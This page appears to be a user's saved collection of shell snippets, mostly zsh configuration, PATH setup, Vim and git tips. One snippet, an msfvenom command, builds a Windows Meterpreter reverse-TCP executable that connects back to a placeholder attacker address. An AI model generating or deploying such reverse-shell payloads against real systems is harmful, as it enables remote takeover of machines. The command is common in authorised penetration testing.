Snippets Collections
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
# append
path+=('/foo/bar/yourpath')
# export to sub-processes 
export PATH
Press CTRL + V to enable Visual Mode.

Using the up and down arrow key, highlight the lines you wish to comment out.

Once you have the lines selected, press the SHIFT + I keys to enter insert mode.

Enter your command symbol, for example, # sign, and press the ESC key. Vim will comment out all the highlighted lines.
zsh -xl
zsh -xl | tee output.file
grep -r "VARIABLE" /* [directories to search] | tee ~/[output file and path] 
timezsh() {
  shell=${1-$SHELL}
  for i in $(seq 1 10); do /usr/bin/time $shell -i -c exit; done
}
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
git clone https://github.com/ChristianChiarulli/Machfiles.git ~
# ----- Skip Status checks -----
# For all repos
git config --global --add oh-my-zsh.hide-status 1
# For current repo
git config --add oh-my-zsh.hide-status 1

# ----- Skip dirty checks -----
# For all repos
git config --global --add oh-my-zsh.hide-dirty 1
# For current repo
git config --add oh-my-zsh.hide-dirty 1
alias co_today="git hist | grep 'Alex' | grep $(date +"%Y-%m-%d") | grep -v "Merge" | sed -e 's/\[[^][]*\]//g' | sed -e 's/\((^())*\)//g' | sed 's@.*|@@'"
fpath=(/usr/local/share/zsh-completions $fpath)

export PATH="/usr/local/bin:$PATH"
export PATH="$HOME/.cargo/bin:$PATH"
export PATH="/opt/local/bin:/opt/local/sbin:$PATH"
export PATH="/usr/local/maven/bin:$PATH"

export JAVA_HOME="/Library/Java/JavaVirtualMachines/zulu8"

export EDITOR=vim

export NVM_DIR="$HOME/.nvm"
source /usr/local/opt/nvm/nvm.sh

# My custom MOTD
$HOME/random-cowsay-fortune.sh
star

Mon Jun 19 2023 12:07:21 GMT+0000 (Coordinated Universal Time) https://leiblog.wang/Generate-payload-with-MSF/

#zsh
star

Fri Feb 03 2023 14:14:31 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/11530090/adding-a-new-entry-to-the-path-variable-in-zsh

#zsh
star

Tue Oct 11 2022 13:56:28 GMT+0000 (Coordinated Universal Time) https://itsfoss.com/apt-key-deprecated/

#shell #bash #zsh
star

Sun Jun 05 2022 23:43:21 GMT+0000 (Coordinated Universal Time) https://linuxhint.com/comment-multiple-lines-vim/

#shell #bash #zsh #vim #nvim
star

Tue May 31 2022 18:16:39 GMT+0000 (Coordinated Universal Time) https://unix.stackexchange.com/questions/813/how-to-determine-where-an-environment-variable-came-from

#zsh #bash
star

Mon May 30 2022 18:16:52 GMT+0000 (Coordinated Universal Time) https://github.com/microsoft/vscode/issues/113869

#shell #bash #zsh
star

Wed Mar 16 2022 10:54:30 GMT+0000 (Coordinated Universal Time) https://brew.sh/

#brew #zsh #cofig
star

Wed Jan 26 2022 12:23:08 GMT+0000 (Coordinated Universal Time) https://github.com/ChristianChiarulli/Machfiles

#zsh #terminal
star

Thu Jun 17 2021 14:39:13 GMT+0000 (Coordinated Universal Time)

#zsh #oh-my-zsh
star

Thu Jun 17 2021 13:09:48 GMT+0000 (Coordinated Universal Time)

#zsh #oh-my-zsh
star

Fri Feb 12 2021 19:02:19 GMT+0000 (Coordinated Universal Time)

#zsh #shell #git
star

Sun Dec 13 2020 07:50:12 GMT+0000 (Coordinated Universal Time) https://blog.adamretter.org.uk/the-shell-on-my-mac/

#zsh

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension